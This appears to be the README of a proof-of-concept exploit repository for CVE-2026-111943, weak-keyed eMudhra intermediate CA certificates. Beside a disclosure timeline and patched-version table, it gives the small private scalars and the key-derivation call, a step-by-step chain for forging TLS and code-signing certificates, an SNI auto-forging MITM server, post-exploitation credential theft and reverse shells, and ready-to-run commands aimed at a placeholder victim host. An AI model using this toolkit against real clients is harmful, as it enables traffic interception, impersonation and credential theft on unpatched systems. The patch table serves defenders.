Proof-of-concept for CVE-2026-111943: recovers weak eMudhra intermediate CA private keys, forges TLS/code-signing certificates, and runs a SNI-based MITM server plus trust-store scanner.
CVE: CVE-2026-111943 (Go), GHSA-6q48-6c7w-9gw2 (certifi) Date: Disclosed October 17-22, 2026 Severity: Critical — allows forging valid TLS and code-signing certificates for any hostname
Eight eMudhra/emSign intermediate CA certificates were created in April 2025 with P-384 ECC keys where the private scalar d was a tiny integer:
d in {4, 56, 66, 115, 155, 156, 230, 237}
Anyone can recover the private key from the public certificate in milliseconds by trying each candidate scalar. Six of the eight intermediates could mint TLS certificates for any hostname; two were code-signing CAs.
| Date | Event |
|---|---|
| Apr 30, 2025 | Eight intermediates created with weak keys |
| May 2025 | All eight cross-signed by Sectigo's AAA Certificate Services root |
| Oct 17, 2026 | Researcher "Wayne" reports the weakness; Chrome/Firefox block within hours |
| Oct 19, 2026 | Apple blocks via macOS/iOS update |
| Oct 20, 2026 | Microsoft blocks via Windows Update; Go 1.27.3 released |
| Oct 22, 2026 | Apple protections reach full rollout |
| Software | Patched Version | Status |
|---|---|---|
| Python certifi | 2026.10.19 | Update required |
| pip | 26.2.2 | Update required (bundles own certifi) |
| Go | 1.27.3 / 1.26.10 | CVE-2026-111943 |
| Node.js 26.x | 26.12.1 | SPKI blocklist |
| Node.js 24.x | 24.22.1 | SPKI blocklist |
| Node.js 22.x | 22.23.4 | SPKI blocklist |
| Electron 44 | 44.9.1 | Update required |
| Electron 43 | 43.8.1 | Update required |
| Electron 42 | 42.11.16 | Update required |
| Rust rustls-webpki | 0.103.16 | Update required |
| Rust webpki-roots | 1.0.10 | Update required |
| Bun | 1.4.4 | Update required |
| sigstore | 4.5.1 | Update required |
| Debian ca-certificates | 20250419~deb12u2 | Update required |
| Ubuntu ca-certificates | 20260816ubuntu0.* | Update required |
| Alpine ca-certificates | 20261020-r0 | Update required |
| NSS | 3.131.1 | Root removal |
| curl CA bundle | 2026-10-20 | Update required |
| Java cacerts | Add 16 SHA-256 hashes to blocked.certs | Manual fix |
[ Attacker ]
|
|-- (1) Recover compromised CA private key
| - Extract public key from intermediate certificate
| - Try each weak scalar d in {4, 56, 66, 115, 155, 156, 230, 237}
| - Derive private key with ec.derive_private_key(d, SECP384R1)
| - Takes milliseconds
|
|-- (2) Forge a leaf certificate
| - Generate a new leaf key pair
| - Build a certificate for the target hostname (CN + SAN)
| - Sign with the recovered CA private key
| - The forged cert chains to the real intermediate and root
|
|-- (3) Deploy MITM TLS server
| - Set up a TLS server with the forged certificate
| - Listen for incoming connections from vulnerable clients
| - Auto-forge certificates based on SNI (hostname)
|
|-- (4) Intercept TLS traffic
| - Client connects to MITM server (via DNS poisoning, ARP spoofing, etc.)
| - MITM presents forged certificate chain
| - Vulnerable client accepts (unpatched trust store)
| - MITM decrypts and reads all traffic
|
`-- (5) Post-exploitation
- Inject payloads, steal credentials, session tokens
- Establish reverse shell through the MITM channel
- Pivot to internal networks
The eight compromised intermediate CA certificates use P-384 ECC keys with trivially small private scalars. The key_recovery.py module:
d in {4, 56, 66, 115, 155, 156, 230, 237}ec.derive_private_key(d, SECP384R1())This takes milliseconds because there are only 8 candidates to try.
The cert_forger.py module:
--chain emsign)The mitm_server.py module:
The scanner.py module checks:
CVE-2026-111943-Emudhra-Ca-Compromise-POC/
key_recovery.py Recover private keys from compromised CA certs
cert_forger.py Forge TLS/code-signing certificates
scanner.py Scan for vulnerable clients (unpatched trust stores)
mitm_server.py MITM TLS server with auto-forging on SNI
exploit.py Full exploit chain orchestrator
listener.py Reverse shell listener (post-exploitation)
emudhra_ca.sh Shell wrapper (scan/keys/forge/mitm/full)
README.md This file
cryptography library: pip install cryptographypython3 key_recovery.py --list
python3 scanner.py --scan-all
python3 key_recovery.py --cn "EM DV TLS CA - G3B" --export recovered_key.pem
python3 cert_forger.py --hostname api.victim.com --ca "EM DV TLS CA - G3B" --output-dir ./certs
python3 mitm_server.py --port 8443 --ca "EM DV TLS CA - G3B" --cert-dir ./certs
python3 exploit.py --target-hostname api.victim.com --port 8443